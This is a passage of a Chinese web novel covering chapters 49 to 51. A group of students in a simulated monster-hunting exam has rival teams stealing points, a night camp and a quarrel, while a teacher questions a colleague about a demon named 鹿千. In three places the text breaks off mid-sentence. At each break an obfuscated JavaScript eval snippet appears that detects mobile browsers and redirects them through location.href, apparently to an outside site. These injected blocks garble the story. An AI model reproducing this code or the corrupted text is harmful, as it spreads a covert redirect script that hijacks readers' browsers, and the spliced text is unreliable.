然而在他射击的前一刻,一道飞快的红色光束,擦着他的身边,朝着旋涡直直冲了过去! “什、”他还没来得及反应,一个鲜红的标记点俨然出现在那旋涡中心,刺眼的好像被打0分的试卷,想让人瞬间将其撕烂。 他们折腾几个小时的人造魑魅诞生点,在短短1秒内就被别人窃取了成果。 “砰!”远处的枪响声迟迟响起,似乎宣告着分数的归属彻底易主。 就连躲在远处围观的四人组都惊呆了,那颗突如其来的信号弹也飞过了他们的身边,也就是说他们的身后还有一波人,而他们完全没有察觉到。幸好他们没准备动手,不然真的是螳螂捕蝉黄雀在后了。 彻底得手后,隐藏在最后的黄雀才慢慢现出身影,主要大家都在往这边看,想躲也没地方躲了。 欧阳奕萱在队伍里看到一个熟悉的身影,何凯,那个曾是她队长的老实人。在新队伍里他已经不是队长了,此时正有些不知所措地跟在一个英姿飒爽的女生身后。 女生也穿着默认的服装,但走路的姿态十足,像只爬行的毒蛇,平时凭借花纹外表隐藏在枯叶里,但只要猎物靠近,就会迅速出击,一击毙命。 刚刚被抢了分数的队伍终于反应过来发生了什么,戈鸿志气急败坏地向这半路杀出来的陈咬金咬牙切齿道:“方忻乐!你什么意思!?” “什么意思?”被唤作方忻乐的女生莞尔一笑,很随意地说道:“我和我的组员们恰好路过此处,恰好在这里碰见魑魅诞生点,恰好我反应很快地开枪标记,为我们队伍赢得了20分……” 她轻蔑地笑了一声:“很难理解吗?” “胡扯!”戈鸿志气血冲头,想都没想就飙出一句脏话:“哪有这么巧的事!你**跟了多久了,不要脸的东西!”他又瞄到方忻乐身旁的何凯,过去积攒的恩怨也爆发了出来:“何凯,你个只会畏缩在女人旁边的废物!队伍解散后居然陪着干这种不要脸的勾当!” 何凯本性憨厚老实,也确实带点懦弱,但又是个自尊心很强的人。此时被这么一骂,顿时觉得心里不舒服,但却把牢骚发到了方忻乐身上:“我早说过,这么做不合适……” “闭嘴!”方忻乐两个字就把他打了回去:“这里没你说话的份。” 和两个队伍都隔着一点距离的欧阳奕萱看不下去他们欺负何凯,突然站了出去:“你们别太过分了!” “我去!”苏佑容看她窜出去,眼疾手快地又把人拽了回来,“我嘞个姑奶奶,他们吵架,你别把我们队也扯进去啊。” 但为时已晚,本来四人组像空气一样在旁边吃瓜,欧阳奕萱这一嗓子,一下让几人显形了、 “大小姐,漏了你了?”戈鸿志喊着“大小姐”,语气里可全是阴阳怪气,他举起砍刀对着几人,好像准备随时动手,“以为自己傍上尖子生要发达了?哈哈哈哈哈,什么尖子生,都是只会读死书的书呆子!看看你们队伍才4分,倒数第一!” 戈鸿志到手的分被抢,气得头昏脑涨,像条乱咬人的狗,也不知道谁能咬谁不能咬。 但偏偏,按照四人组的策略,他们现在被咬还真得忍着。 苏佑容被这番话气得牙痒痒,旁边的林欣予脸色也不怎么好看,就连一直沉默的黎子鸣也皱了皱眉,看得出来大家都对这飞扬跋扈的家伙反感至极,但都维持着理智没有进一步掺和。 局势突然僵持起来,林欣予注视着刚刚形成的魑魅诞生点,激烈的旋风此时已经平静下来,摊了一地的黑色烟尘像平静的湖水,只有在风略过时才会略微泛起波澜,而这种现象往往预示着暴雨将至。用不了多久,这一小摊烟尘就会源源不断的产生魑魅。 她把身体略微像黎子鸣倾斜,伏在他耳边轻声说道:“他们现在不服我们其他人,但肯定不敢忽视你的力量。你上前表个态,我们不掺和他们的恩怨,也不贪图他们的得分。” 黎子鸣脑子里一般不放事,但真遇到事还算灵光,很快就明白了林欣予的意思。 他一个跨步走到队伍最前面,把欧阳奕萱挡在身后,说道:“各位,我们就是来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322900|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个情况,没有抢分的意思,我们现在就离开。” 话音刚落,林欣予就拉起还在义愤填膺的欧阳奕萱,头也不回地往回走。苏佑容随即跟上,黎子鸣则是在原地站了一会儿,看对面两队人没有动手的意思,才跟着一起转身离开。 欧阳奕萱还在气鼓鼓地念叨着这事,照她的意思,就应该上去理论,她看不得老实人被欺负。 但除了她以外的三人都注意到了,方忻乐背在身后的手上也攥了武器,是几根银针,妥妥的暗器。几人再不离开,可能就得卷入械斗之中。 毕竟规则没规定队伍之间不能打架,不说杀死竞争对手扣他20%分,就算能给对面打个骨折,也能直接削去一个战力。 再看四人组这边,黎子鸣身上虽然没有附魔器,对魑魅没有丝毫办法,但如果对面两队想对人动手,黎子鸣肯定“我要打十个”还能不落下风,但凡有点理智,他们都不想和黎子鸣成为对手。 而黎子鸣这把最锋利的剑即使是收在剑鞘里,也能当成最好的盾,护着几人不被卷入争斗中,安全离开。 他们离开没多久,身后就传来了更加激烈的争吵声,随即是金属武器碰撞的声音。再过了一两分钟,又响起了魑魅的嘶吼声,和人们的惊叫。 欧阳奕萱这才后知后觉,刚刚直接离开是个多么明智的决定。 直到离开到安全距离,完全听不见那边的声音了,几人的脚步才放慢下来,简短几句沟通后决定返回主干道取物资。苏佑容一边走一边吐槽着:“方忻乐可真是姓方的,当时她问那个问题的时候我就猜测她要玩阴的,结果真是。” 开考前的提问环节,方忻乐的提问是“标记得分是否信号枪命中为准的?不以谁发现为准”。这几乎是个明示,她计划着夺取别人发现魑魅的分数,只要开枪比别人快比别人准,就能省去搜寻的时间和精力,只需要跟在别人屁股后面就行。 虽然不光彩,但确实有用。 听到这个熟悉的姓氏,林欣予突然想到什么:“她和方明是亲戚?”方明,那个总是针对她和她姐姐林睿雅的老师,两人没少被这货穿小鞋。 “是叔侄,算亲。”苏佑容说道,“方家过去也是个大家族,就是这几十年落寞了,不然在物零社里面也得和我这个苏家人一样受排挤。” 他顿了一下,补充道:“还有欧阳家。” 欧阳奕萱听到这话倒是一愣,她还在反思刚刚自己的所作所为,自己刚刚确实被情绪支配了,幸好苏佑容和林欣予拉住了她。她觉得应该道歉认错,表示自己在反省,却又觉得掉面子,迟迟开不了口。 不过其他人不在意她做了什么,虽然相处时间很短,但大家都对欧阳奕萱的性格有些认识,即使造成了一点麻烦,好在没有太大影响,所以也没人想要责怪她。 没走多久,大家就回到了主干道上面,出乎意料的,之前被他们撂在地上的附魔材料根本没人动过。不过也正常,第二队戈鸿志队在琢磨人造诞生点,第三队方忻乐队在跟踪捡漏,第四队刚刚死了人,现在肯定还没缓过来,这物资放这还真就没人惦记。 主干道还是相对安全的,这里宽阔敞亮,看上去就阳气十足,完全不是魑魅喜欢的地方。黎子鸣从街边店铺里搬了几个凳子,几人坐在大街中央就开始复盘现在的情况。 此时,考试已经开始将近7小时,时间是傍晚19点,太阳沉到西边,天色逐渐昏暗,再过一小时左右就会彻底陷入黑暗。 苏佑容打开菜单界面,得分排名已然发生了巨大变化: 49.计算(加更!感谢收藏支持) 现在的分数如下: 【第三队:62分】(方忻乐队) 【第二队:44分】(戈鸿志队) 【第四队:5分】(段梦婷队) 【第一队:4分】(苏佑容队) “那两队可真是,打得火热啊……” 这分数差大得可怕,自己队伍可怜的4分十分扎眼,饶是黎子鸣都忍不住感慨了一句。 但打开界面的苏佑容却陷入沉思,思考的这一两分钟,第二队的分数跳动了一下,变为46分。 没过多久,苏佑容简洁扼要地说出了他的结论:“那两个队,已经没有信号枪子弹了。” “第三队得分高,因为他们拿到了标记诞生点的得分,那就是20分的差距,刚好是他们和第二队的得分差。” “稍等,”林欣予看着分数,打断了他一下:“如果他们都用完了子弹,那现在的得分应该至少分别在65分和50分以上,但现在只是62和46分。” 闻言,苏佑容突然自豪起来:“你以为他们都是我吗?每一枪都能命中?” “没有拿到满信号子弹数的原因很简单,他们肯定有几发子弹打空了。” 苏佑容接着说明道:“你看他们之后都是2分2分的增长,这就只是击杀得分了。信号枪子弹用完后,只能靠击杀得分,但也只有可怜的2分……第二队还有分数增长,证明他们还在和魑魅纠缠;而以方忻乐的行事方式,信号枪子弹用完后应该直接撤退了,所以第三队的分数稳定在62。” 说完这段,苏佑容也沉默下来。按照他最开始制定的计划,最开始他们确实会和其他队拉开一些差距,但现在的差距比他预料的大很多,更何况现在连第一个12小时都没有过去……照这样的情况来看,他们后续追分的难度会大很多。 复盘的期间,天色愈发昏暗,失去太阳的照射后气温也降低不少,而几人的体力也几乎消耗殆尽。 事到如此,最紧要的事是寻找一个能过夜的地方,整理物资休养生息。 “还有一个问题。”黎子鸣突然补充道:“安全区12小时缩小一次,那第一次缩小就是今晚0点……肯定会撞上我们休息的时候。而新的安全区范围,迟迟没有在地图上刷新。” “!”苏佑容一经提醒,这才注意到自己想漏了这点:“可以啊你小子,我都没注意到这个!” 被苏佑容这么一夸,黎子鸣倒是有点拘谨:“之前玩过类似的缩圈游戏,一直在注意刷圈的地方呢,就是现在迟迟没看到新圈,有点慌。” “嗯……”苏佑容大脑飞速运转,之前规则里没说新安全区会提前多久显示,也没人问这个问题,大家都忽略掉了,但这事实际上十分致命,就像黎子鸣说的,刷新时间在深夜0点,如果不注意这件事,很有可能在睡梦之中进入危险区。 这简直是个鬼故事。 “这样吧,”苏佑容很快打定主意,“我们回到刚刚进入地图的地方,那里刚好处于地图中心位置,第一次安全区刷新无论如何都会把我们框进里面。” 这个提议得到了大家的一致认同,确实是最好的方法,那块也都是民宅,找个睡觉的地方肯定很方便。 大家快速收拾了一下物资,黎子鸣也赶紧跑回餐馆一趟,当时他急着看热闹,在整理好的食材都没拿。 话说他找到的食材也需要处理,能直接吃的只有一些馒头和饼,其他都是些蔬菜肉和米面粮油……说白了就是,得自己做饭。 但总好过没东西吃。黎子鸣拎着这些东西,像刚从菜市场逛出来,和其他拎着大大小小未附魔金属武器的人格格不入。 大家动作都很利索,收拾完东西,又顺着来时的路赶紧返回。越来越暗的天色又让几人意识到一个之前没考虑过的问题,他们没有发光物,进入黑夜后就是两眼一抹黑,环境的危险程度将几何上升。 所以紧赶慢赶之下,几人成功在天黑之前回到地图中央,并在周围找到个合适的民宅暂时安顿。 民宅各种设施还算完好,像真有人在这里生活一样。不大的院落里有几个房间,足够四个人居住,另一边还有厨房和水井,角落里堆放着劈好的柴火。 黎子鸣对这种像农村一样的小院展示出了神奇的熟悉度,就着仅存的微弱天光,把干柴聚集到一起,用灶台旁的打火石生了火。 明亮的火光马上点亮了黑暗。 “这有蜡烛,还有煤油灯。”林欣予趁着这段时间把屋子搜了一遍,拿着能当火源的东西走到火堆旁,一个一个点亮,然后把烛火和煤油灯放回每个房间里。 不大的院落像通了电一样,灯火通明。 “这里本应该是有电的。”苏佑容在天花板上看见了电灯,但开关一点反应都没有:“这地图是谁做的?明明有电却不给我们用是吧,真可恶!” 他一边说着,一边不抱什么希望地开关电灯:“是不是可以去找一下电闸?” 刚说完这句话,倏然,灯亮了。 “啊?” 苏佑容人都傻了,黎子鸣也傻了,这灯能亮,那自己刚刚生火算什么??? 小院子的角落里,欧阳奕萱正有些难受地拍着自己手上的灰:“那个,我刚刚看见这有个像电闸的东西,就试着掰了一下。” 这女生虽然人呆呆的,但好像……运气不是一般的好。 电灯一亮,那火堆似乎都没多耀眼了,黎子鸣无措地说:“那我的火怎么办,灭了吗?” 他其实有点痛心,考试开始以来自己其实什么都没干,虽然拿了4分,但和没有也没什么区别。一会儿林欣予和苏佑容肯定得给自己准备附魔器,自己就急着在那之前也干点什么事,好歹出点力不让自己显得像个没有附魔器就什么事都干不了的废物一样。 所以他借着之前在农村奶奶家生活过的一段时间生了火,结果下一秒欧阳奕萱就打开了电。 真让人流泪。 “别灭。”林欣予把那一堆食材丢给他:“去厨房做饭去,半天没吃饭了。” “好的。”黎子鸣答应得干净利索,一手拎着菜,一手拿了根燃着火的木棍,转头扎进厨房。 现在,林欣予和苏佑容把所有附魔材料摊在院子里,开始着手数量不小的附魔工程;另一边,厨房里也传来切菜的声音,大家都在忙着做什么,欧阳奕萱倒是闲了下来。 按理来说,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328400|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不应该有什么负担,大小姐从小娇生惯养,只要想,连衣服都能佣人帮她穿。但现在看着自己的队友、尤其是和自己同为富家子弟的苏佑容,都在忙前忙后,自己只能在一旁摸鱼旁观,倒是有点坐立不安。 更重要的是,她本来想进屋里休息一会儿,但这屋里到处都是灰尘,凳子也脏脏的,她实在不想和这些不干净的东西产生身体接触。 欧阳奕萱走上前,从附魔材料里挑了几个钉子模样的金属,凑到林欣予面前:“能先帮我处理一下这几件材料吗?我想做障。” “你会做障?”林欣予有点震惊,现在能独立做障的除魅师不多,却不想欧阳奕萱会这种技术。 障是一种类似于结界的东西,可以隔绝魑魅,有障保护的地方,魑魅无法进入;如果魑魅处于障内,力量则会被大幅度削弱,更好处理。 物零社的老师夏玉薇就是用障的好手,之前在抓捕徐贺的时候,她就用障拦住了许多蚊虫状的魑魅。她的技术在全国的除魅师中都数一数二,能用几秒时间建立强度极高的障。 欧阳奕萱的做障技术则是家族传承,小时候就学习过一部分,进入物零社后也得到了夏玉薇不少教导,训练到现在,也算掌握了独立做障的技术。 处理这几件体积不大的材料用不了多久,短短几分钟,林欣予手里平平无奇的银色金属就散发出了淡淡白光,这就是附魔成功的表现,证明这块小金属此时已经有了承载灵力的作用。 林欣予把附好魔的钉子递给欧阳奕萱:“你一个人可以吗?” “可以的,”欧阳奕萱点点头:“只是需要费点时间。” 她的做障技术远没有那么夏玉薇那么熟练,还需要寻找方位定点,然后一个个注入灵力,可能还会失败,需要多试几次。 至此,四个人都有了自己的工作,明明已经入夜,其他组都开始休息恢复体力,他们却比白天还忙。 模拟系统外,监控室里的教师也一一下班。考试三天就需要有人守着系统三天,教师们都定好排班,此时正是换班的时候。 第一个晚上是最危险的时刻,因为到晚上魑魅的活动会更多,更容易和考生产生碰撞,而系统之前很少连夜运行,再加上要承担更大的计算压力,就更容易产生很多bug。 守住第一个夜晚的任务理所当然地落到安格森身上。 或许也是因为他在维护系统运行这方面是最让人安心的,所以整个晚上就排班了两个人。 “王老师啊,今天晚上就我们俩……”他听到有人打开监控室的门,以为是和自己一起夜班的同事,一个很有资历的中年男教授,回头却看见了一个完全不同的身影。 林睿雅提着咖啡,很自然地走了进来,坐到他旁边:“我和王教授换班了,今晚是我们俩。” “大晚上的,你突然换班过来……”安格森突然有种不祥的预感,“有事情找我吧?” “没错。”林睿雅一口应了下来,“我喜欢和聪明人说话,通常都不太费劲。” 监控器上几十个屏幕放映着不同的画面,微弱的光频频闪动,似乎在这一刻和两人的心跳同频。 “我有一些问题问你。” 50.试探 昏暗的监控室里,只有监控屏幕在发着光。系统里的时间和现实同步进行,各个小队面对夜晚的举动,被监控室里的两人尽收眼底。 苏佑容他们队不用提,已经开始有条不紊的准备各种事情,监控视角里黎子鸣甚至已经端出两盘菜。 其他三队的情况……多少有点不容乐观了。 戈鸿志和方忻乐他们陷入一场大乱斗中,两队刚刚交锋,那新生的诞生点就爆发出了强大力量,瞬间把所有人都卷了进去。诞生点力量强大,源源不断地输出各种各样的魑魅,而这些魑魅不由分说地向离自己最近的人类发动攻击,两队不得不先放下私人恩怨,先对付这些魑魅。 然而,诞生点宛若一个刷怪笼,丝毫没有停下的打算。 两队没过多久就用完了信号枪子弹,只能尝试击杀,但彻底击杀魑魅远比几人想象中困难许多,大家和魑魅扭斗一个多小时,也只击杀了三四只魑魅。而自己小队的人员多半收了伤,也有些伤到筋骨的,战斗力一下子损失大半。 方忻乐最先发现不对,在子弹用完后没多久,就让队员集合朝着远处跑了。 而戈鸿志他们队心有不甘,想着被别人抢了20分的诞生点标记分,那就在击杀上抢回来,但打着打着大家状态越来越差,再僵持下去,必然会产生死亡。 无奈之下,他们也只能狼狈撤退。 而这些魑魅打起来凶猛,移动速度却不快。在众人跑出一段距离后,丢失视野,自然也就不再追逐,转而在诞生点附近徘徊。 反观狼狈逃离的两队,刚刚逃出去,黑夜就降临了。苏佑容都没想到的事情他们自然也想不到,没有光源的两个队伍一下子就陷入了两眼一抹黑的环境里面。 而且大家现在身上大大小小都是伤,经历激烈地打斗后也没有得到及时补充,疲惫感一下子如潮水般涌来。 方忻乐队伍运气稍微好一点,找到了主干道上的医院,大家干脆在里面暂时住了下来,有足够的医疗物资处理伤口,也能在医院食堂里找到一点充饥的食物和水。虽然不多,但五个人分也勉强足够。 戈鸿志那边可就糟糕许多,一直没找到合适的地点补充物资,只找到一个能发光的手电筒,此时还在沿着各个建筑艰难寻找栖身之所。 再看苏佑容这,和其他两队简直是天差地别。此时大家基本完成了手里的工作,林欣予和苏佑容处理完附魔器,整齐地堆放在一起;欧阳奕萱升起障,此时被障笼罩的院落就是整个地图最安全的地方;黎子鸣炒了四菜一汤,有荤有素,几个人搬了张桌子,拿着厨房的餐具就开始吃饭。 视角一转,即使是找到了食物的方忻乐队,也只有些难以下咽的馒头。 一个队伍的综合能力到底如何,在这一刻展现的淋漓尽致。 监控室里的两位老师也是饶有兴趣地看着这一切,他们能看到即将刷新的安全区范围,此时只有苏佑容他们在新安全区内。安格森说道:“新安全区范围好像是提前一小时显示吧,希望大家晚上别睡太早,一觉睡醒发现自己进了危险区,可就完蛋了。” 这话刚说完,他就看到一个队伍的定位开始朝着地图中心点移动,居然是之前没什么人关注过的第四队,也就是段梦婷队。 “小若就是这队的吧。”安格森看着林睿雅说道:“他们队产生的第一个阵亡,那女生出来以后哭得可厉害了。” “只能怪他们运气不好。”林睿雅看着屏幕上移动的定位点:“直接传送到魑魅面前,只产生一个阵亡都算是好结果。” “但是现实里面,魑魅往往也是这样突然出现的。大部分人都和那群孩子一样,看着突然出现的魑魅就会失去行动能力,最后付出生命……系统存在的意义就是为了避免这种情况。” 安格森听着林睿雅这段话,没有回复,而是一直看着地图上移动的点。这个队伍虽然产生了第一个也是唯一一个阵亡,但从此时的行动逻辑看,他们仅次于苏佑容那个队。 “真正能拉开差距的,其实是第一个晚上。”林睿雅看着四个屏幕里的四个队,“那两个得分高的队现在都精疲力尽,也寻找不到合适的休憩点和补给物资,一个晚上后,他们疲惫的状态会更严重。” “别说他们了。”安格森也不知道林睿雅说这些在给谁听,给他吗?他其实不太在乎这些考生的分数如何,“你不是有事情要问我吗?” “唉。”林睿雅居然叹了口气,“说实话,问你这几个问题,我也很难开口。” “什么问题这么不好开口?”安格森有些莫名其妙,林睿雅还从来没有这么扭捏过。 “我就直说了。”林睿雅把视线从监控屏幕上挪下来,挪到安格森脸上,直直盯着他那双蓝色的眼睛。 “安格森,你和鹿千是什么关系?” “?”安格森愣了一下,随即露出疑惑的神情:“鹿千?你是说‘麇’?那个不老不死的妖怪?” “别装傻。”林睿雅没有理会他的疑惑,“你和他肯定有撇不开的关系,而且你和他出现的时机都太巧,这个潜藏了八十余年的妖怪,在你来到物零社后突然开始活跃,这中间不可能没有关联。” 安格森似乎没当回事,他摆摆手:“你这也太牵强了。” “要我说的更明显一点吗?”林睿雅突然前靠,逼得安格森倒退几步,神色都变紧张了几分,直到后面是退无可退的墙壁,“我怀疑你……” “我怀疑你就是鹿千。” “嗯……”意料之外的,安格森本来被逼的紧张神情,在听到这话后突然消散一空,“你是说,你觉得我,和那个穿一身黑、捂得比明星还严实的家伙,是一个人?” 林睿雅还没放松逼问的步伐:“有问题吗?” “先不说我和他之前在那个烂尾楼见过一面,而当时黎子鸣和苏佑容都在场。”安格森一板一眼地分析道:“‘α’可就是我加密的,为了抢我知道内容的文件,我设计让自己被绑架,然后自己挨一枪差点死掉……你觉得我脑子不好使吗?” 但林睿雅好像并没有相信的意思:“他是妖怪,是我们理解之外的存在,做一些我们无法理解的事情倒也正常。” “你……”安格森被逼得有点无语,“行了,我告诉你,我和他确实有些关系,但不是你想象的那样。” “这才对嘛。”林睿雅得逞般地笑了笑,往后退了几步,威压瞬间消失,“说说吧,你和他什么关系。” 看着林睿雅这一下大转变,安格森这才意识到自己好像掉坑了:“你这算什么,破窗效应?先直接说我是他,我为了排除嫌疑就得给你说其他关联是吧……” 说道这,他顿了一下:“不过你为什么突然问我这个?” “你刚刚说破窗效应也没什么问题,只是你打死不说,我也有办法。”林睿雅拿出一张照片,递到他面前,“眼熟吗?” 那是一幅山水画,落款写着“鹿芸”的名字。 “这是你母亲的东西吧。”林睿雅说着,直接把照片放到安格森手里,“先前你说你和他出现的时机重叠是巧合,但这里又发现了‘鹿’这个姓氏,太多巧合融合在一起,就不是巧合了。” “你调查我?”安格森看着照片,一眼就知道这是在哪拍的,是在他邻居家。 “准确来说,是我妹妹在调查你,”林睿雅说道:“她只是把情报同时共享给我了。” “呵,那你还来问我做什么。”安格森把手里的照片当扇子一般扇了扇:“既然查到了我母亲的名字,那我和鹿千有什么关系你们应该也有答案了吧。” “是有一个模糊的答案。”林睿雅话锋一转,又凌厉起来:“我还想知道,你来物零社的目的是什么?” 见安格森没有马上回答,林睿雅接着说道:“最开始你跟我说,是物零社邀请你来的,因为你母亲做过关于妖怪灭绝原因的研究……但我始终想不明白物零社到底为什么会因为这个原因邀请你加入,只凭这项研究完全不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没错,我同意加入物零社,就是为了看看那个自称鹿千的家伙到底是什么东西。” 这个回答林睿雅毫不意外,她其实已经推测出大部分经过,今天只是一个求证罢了。但安格森接着这句话说道:“但是,有一点我和你们一样。我了解的并不比你们多,他这些年到底干了什么,现在的目的又是什么,我也不知道。” “没关系。”林睿雅笑了笑,表情柔和了许多:“我会和你求证这些话,也是因为我相信你,是和我们站在一起的。” 看着林睿雅逐渐舒缓的表情,安格森紧绷的神经才跟着放松了不少:“你一开始直接问我是不是鹿千,我都懵了……你就不怕我真的是他,听到这话以后突然现原形杀了你吗?” “你是不是他还是很好确认的,就跟你前面说的一样,冲突点太多,你不可能是他。”林睿雅又坐回设备前开始看监视器,“你不会觉得我也想不清楚这些事情吧?” “得,不愧是你。”安格森也跟着他坐下,此时监控器上,段梦婷的队伍已经跑进安全区,也找到一些新鲜的食物,在宅子里开始生活做饭。 视线流转,戈鸿志和方忻乐那边也终于开始慢慢调整状态,而苏佑容那边…… 等等,苏佑容那边? 林睿雅和安格森都愣了一下,随即把对准苏佑容队伍的监视画面放大,结果刚放大就看到欧阳奕萱和苏佑容互相指着在说什么话,而林欣予和黎子鸣一边一个艰难地劝架。 只可惜监控器没有声音,只能看见画面。只见吵着吵着,欧阳奕萱突然一跺脚,夺门而出,跑走了。 “这是,吵架了?”两个老师看得莫名其妙,刚才还好好的小队,怎么突然间就裂开了? 欧阳奕萱头也不回地往前走,林欣予和黎子鸣见状追了出去,苏佑容还留在宅子里站着生气。 女生前进的方向,暗流涌动,危机四伏。 51.争吵 时间倒回到二十分钟前,小宅院里面,小队里四个人都在忙活自己的事情。 最先完成工作的是黎子鸣,他先端了两盘凉菜出来,剩下的热菜也好了,在锅里焖着,怕太早拿出来会凉。 林欣予和苏佑容处理完大半的附魔器了,闪闪发光的各类武器摊开摆放在院子的地上,看数量足够黎子鸣挥霍一阵。欧阳奕萱那边忙活半天也升起三面障了,还差一面就可以彻底把这个宅子笼罩住。 看着其他人还在忙碌,黎子鸣干脆把院子中间的桌子和椅子又擦了一遍,碗筷也都摆好了,开始打开菜单界面无所事事地翻看着。 没过一会儿,其他人也都完成了自己的工作。聚集到院子中间的饭桌上,四菜一汤加上刚蒸好的软糯米饭,在这种环境里不可谓不丰盛。 看着色香味俱全的一桌饭,林欣予和苏佑容对这见怪不怪,只有欧阳奕萱感觉受到了一点冲击,不可置信地看着黎子鸣:“这都你刚刚做的?” 黎子鸣点了点头。 “不是,你…啊?”欧阳奕萱有点大脑宕机,最后挣扎着总结了一句,“我们班里可真是藏龙卧虎。” “别想了,吃吧。”林欣予给她盛饭:“刚知道他做饭这么好的时候,我也很震惊。” 不得不说,这种反差确实让人意想不到,黎子鸣这个看上去四肢发达头脑简单的家伙,做起各种家务事来得手的不得了,估计在相亲市场上会很抢手吧…… 另一边苏佑容已经飞速干完一碗饭,正在盛第二碗:“我敢打赌,其他组肯定没有我们组过的这么舒坦。” 确实如此,其他组还在啃干馍馍的时候,这边已经吃上热乎的四菜一汤了。 “都亏了我指导有方。”苏佑容说前面那句的目的果然明显,话锋一转就开始自夸。 其余三人有些无语地看着他,不过这人的自负也不是一天两天了,大家都有经验,这种时候最好别怼他,捧他两句更容易完事——更何况现在的好状态确实离不开苏佑容的指挥。 黎子鸣先前已经吃过几口,此时也是最快吃完的。他麻利地收拾好自己的碗筷,说道:“我刚刚看了一下这边的房间,刚好一个次卧一个主卧,女生们睡主卧吧,我们男生睡次卧。”他指了两个方向:“房间里面都有被褥,还能用。” 两个人点头表示肯定,而另外一个人,则是又发出了不可置信的声音。 “哈?晚上住这?” 欧阳奕萱手里的筷子都快握不住了:“等下,你们没搞错吧,这种全是灰的房子,晚上要睡在那些房子里面吗!?会得皮肤病的!” 她这一反应该怎么说,也算是大家的意料之外情理之中,大小姐虽然之前没犯什么事,但一身的公主病确实很明显。尤其是在贴身的东西上面,之前拿袋子也好,拉电闸也好,都是能用手指就不用手掌,尽可能地在减少皮肤和这些东西的触碰。 “不住这住哪啊?”苏佑容很没礼貌地拿筷子指着她,“这可不是你的别墅,能有个屋檐睡觉已经很不错了好吧!” “不行,不可能!”欧阳奕萱干脆把碗筷放下了,“那些被褥得被多少人睡过了!脏死了!” “那个,我说两句。”黎子鸣有些慌张地拉架,“我刚看了。被褥都是能用的,挺干净的,要不你先看一眼呢?” “这种地方的能有什么干净的……” 欧阳奕萱还想说,又被林欣予安抚了:“先去看眼吧,你要是实在接受不了我们再想办法。” 欧阳奕萱面色复杂,饭都吃不下去了。其他人好像也一样,对着还剩一半的饭菜都没了胃口。林欣予叹着气,说干脆先去看看被褥和房间的状况。 这里确实只是个普通的民宅,房间内的装潢不算简陋,但也没多豪华。而且毕竟是平房,房间里不可避免的落了很多灰尘。黎子鸣带着大家打开一个柜子,柜子里放着被褥,倒是一点灰尘都没落,用料也很扎实。 “这下应该没问题了。”看见这些床上用品的状态,三人心里都松了一口气。苏佑容心里其实也有点犯怵,要是这些东西太脏的话,自己估计也不是很想用…… 可是出乎所有人预料的,欧阳奕萱摸了一下这些被褥,眉头一下子就皱在一起:“这布料也太粗了!这怎么睡啊,会硌死人的。” 这句话带着其他人也都神色突变了。 林欣予面色扭曲地艰难开口:“奕萱,我们现在条件有限……” 可她刚说了个开头,旁边的苏佑容突然暴跳如雷:“你差不多得了吧,有病吧!” “知道你是大小姐,我也是大少爷啊!我也好,同为女生的林欣予也好,谁有你这么娇气啊!” 没等欧阳奕萱回话,苏佑容喋喋不休地句句说了下去:“从一开始我就想说你了,大小姐毛病差不多得了吧!之前其他两个队伍冲突的时候也是,我们都没吭声,就你冲上去热脸贴人家冷屁股,你没发现那姓何的懦夫根本不维护你吗!?你自己拉着我们卷进去,最后都得我们给你擦屁股,我欠你的吗!?” "什……"欧阳奕萱想插话,但根本插不上嘴,苏佑容那的话跟机关枪连珠炮一样的。 “现在也是,你以为我就想睡这里!?我们没那个条件啊,这是考试,不是你家后花园!这被褥怎么了?就是布料差了点,也没多不干净吧。大家都没说话,就你一个人在这逼逼赖赖,难道整个组都得围着你转吗!?” 苏佑容就差指着鼻子骂人了,手几次抬起来又强撑着放下,最后干脆被黎子鸣抓住了,往后拉着他想上前的身体,效果甚微地安抚着:“你别激动,有话好好说啊……” “哈!?”谁知道那边欧阳奕萱火也上来了,“你什么意思,你现在在这翻旧账?你刚刚怎么不说,事后诸葛亮是吧!” “我也没在队伍里白吃白喝吧,子弹是不是我找到的,电闸是不是我找到的,障是不是我升的!?我就想晚上找个好点的地方睡,这要求很过分吗!” 这一下苏佑容那边黎子鸣也拉不住了,真的把手指了上去:“谁求你干这些了吗!没有那些玩意我 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“你……”林欣予都有点不知道该说什么了,按理来说她该生气,但又总觉得生不起来,“你带点脑子吧!这么黑,她一个人跑出去,出事了怎么办?” “我反正不追她!出事就出事!”苏佑容气得叉腰,“我会把分差拉倒我们就算扣20%也能拿第一……” “啪!” 猛地,林欣予扇了他一巴掌,声音一下子冷了下来:“那他妈可是一条人命!你忘了物零社研究拟真系统的初衷是什么吗!” 所有参与系统研究的人,拿到的第一份相关文件,第一页永远都会写:“系统模拟完全的真实情况,目的是让所有学生都能了解到,生命的重量。” “这可不是什么虚拟游戏,我们就应该把系统里也当成一个真实世界看待。”林欣予放下手,点燃手里的煤油灯,“我问你,如果这里是现实,你还说这种话吗?” 苏佑容不吭声了。 